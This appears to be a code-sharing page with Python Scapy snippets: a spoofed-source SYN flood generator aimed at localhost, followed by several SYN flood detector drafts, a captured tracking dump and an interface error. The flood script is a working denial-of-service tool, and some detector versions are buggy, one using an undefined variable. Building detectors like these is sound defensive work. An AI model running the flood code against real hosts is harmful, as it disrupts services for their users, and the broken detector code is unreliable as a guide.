Views
No views yet
1from scapy.all import *
2import time
3
4target_ip = "127.0.0.1"
5target_port = 80
6
7def send_syn_flood(target_ip, target_port, count=5000):
8 for i in range(count):
9 ip_layer = IP(src=RandIP(), dst=target_ip)
10 tcp_layer = TCP(sport=RandShort(), dport=target_port, flags="S")
11 pkt = ip_layer / tcp_layer
12 send(pkt, verbose=False)
13 if i % 1000 == 0:
14 print(f"Sent {i} SYN packets...")
15
16send_syn_flood(target_ip, target_port)1from scapy.all import *
2import time
3import datetime
4
5# Initialize a dictionary to track the timestamp and number of SYN packets for each source IP
6syn_packets = {}
7
8# Set the reset time to the current time
9reset_time = datetime.datetime.now()
10
11# Set the SYN flood threshold to 5,000 packets
12syn_flood_threshold = 5000
13
14# Define a function to reset the data every hour
15def reset_data():
16 global syn_packets, reset_time
17 syn_packets = {}
18 reset_time = datetime.datetime.now()
19
20# Define a function to analyze the SYN packets
21def analyze_syn_packets(packet):
22 global syn_packets, reset_time
23 src_ip = packet[IP].src
24 if src_ip not in syn_packets:
25 syn_packets[src_ip] = {"timestamp": datetime.datetime.now(), "count": 0}
26 if packet.haslayer(TCP) and packet[TCP].flags & 0x02: # Check if SYN flag is set
27 syn_packets[src_ip]["count"] += 1
28 if datetime.datetime.now() - syn_packets[src_ip]["timestamp"] > datetime.timedelta(hours=1):
29 reset_data()
30
31# Define a function to check for SYN flood attacks
32def check_syn_flood_attack():
33 global syn_packets
34 for src_ip, packet_info in syn_packets.items():
35 if packet_info["count"] > syn_flood_threshold:
36 print(f"SYN flood attack detected from {src_ip}!")
37
38# Start capturing network traffic
39sniff(prn=analyze_syn_packets, store=False)
40
41# Check for SYN flood attacks every 10 seconds
42while True:
43 check_syn_flood_attack()
44 time.sleep(10)1{'20.0.0.30': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 48, 261561), 'count': 4},
2'192.168.106.35': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 48, 275671), 'count': 0},
3'3.168.178.3': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 48, 327184), 'count': 0},
4'140.82.112.25': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 49, 313498), 'count': 0},
5'172.217.175.110': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 53, 867884), 'count': 0},
6'34.144.254.29': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 54, 29822), 'count': 1},
7'216.239.36.180': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 54, 246506), 'count': 0},
8'3.168.178.58': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 54, 744304), 'count': 0},
9'8.8.4.4': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 56, 178570), 'count': 0},
10'40.79.173.40': {'timestamp': datetime.datetime(2025, 2, 20, 20, 12, 56, 443464), 'count': 1},
11...1from scapy.all import sniff, IP, TCP
2import time
3import threading
4
5# Dictionary to track SYN packets {source IP: {"count": SYN packet count, "timestamp": first detected time}}
6syn_tracker = {}
7reset_interval = 3600 # 1 hour (3600 seconds)
8alert_threshold = 5000 # SYN flood detection threshold
9
10# Function to reset data every hour
11def reset_tracker():
12 global syn_tracker
13 while True:
14 time.sleep(reset_interval)
15 print("\n[INFO] Resetting SYN tracker data...\n")
16 syn_tracker.clear()
17
18# Packet processing function
19def packet_callback(packet):
20 if packet.haslayer(TCP) and packet.haslayer(IP):
21 if packet[TCP].flags & 2: # Check SYN flag
22 src_ip = packet[IP].src
23 current_time = time.time()
24
25 if src_ip not in syn_tracker:
26 syn_tracker[src_ip] = {"count": 1, "timestamp": current_time}
27 else:
28 syn_tracker[src_ip]["count"] += 1
29
30 count = syn_tracker[src_ip]["count"]
31
32 if count > alert_threshold:
33 print(f"[ALERT] Potential SYN Flood Attack Detected from {src_ip} - SYN Count: {count}")
34
35# Start a background thread to reset data every hour
36reset_thread = threading.Thread(target=reset_tracker, daemon=True)
37reset_thread.start()
38
39# Start packet sniffing (Change 'eth0' or 'wlan0' based on your network interface)
40print("[INFO] Starting packet capture...")
41sniff(filter="tcp", prn=packet_callback, store=False)1from scapy.all import *
2import datetime
3import time
4
5# Initialize an empty dictionary to track timestamp and number of SYN packets for each source IP
6syn_packets = {}
7
8while True:
9 # Start sniffing traffic
10 sniff(iface="eth0", timeout=1, store=False)
11
12 # Get the current time
13 now = datetime.datetime.now().replace(microsecond=0)
14
15 # Iterate through all captured packets
16 for packet in (p for p in packets if p.haslayer(TCP) and p[TCP].flags & 0x02):
17 src_ip = packet.src
18
19 # If the source IP is not present in the dictionary, add it with a timestamp
20 if src_ip not in syn_packets:
21 syn_packets[src_ip] = {"timestamp": now, "count": 1}
22 else:
23 # Update the count and timestamp for the existing source IP
24 syn_packets[src_ip]["count"] += 1
25
26 # Check every hour if data needs to be reset
27 if now.minute == 0:
28 print("Resetting data...")
29 syn_packets = {}
30
31 # Identify suspicious network activity (SYN flood attacks)
32 for src_ip, stats in syn_packets.items():
33 if stats["count"] > 5000:
34 print(f"Alert: Potential SYN flood attack detected from {src_ip}!")
35 break
36
37 time.sleep(1)ValueError: Interface 'eth0' not found !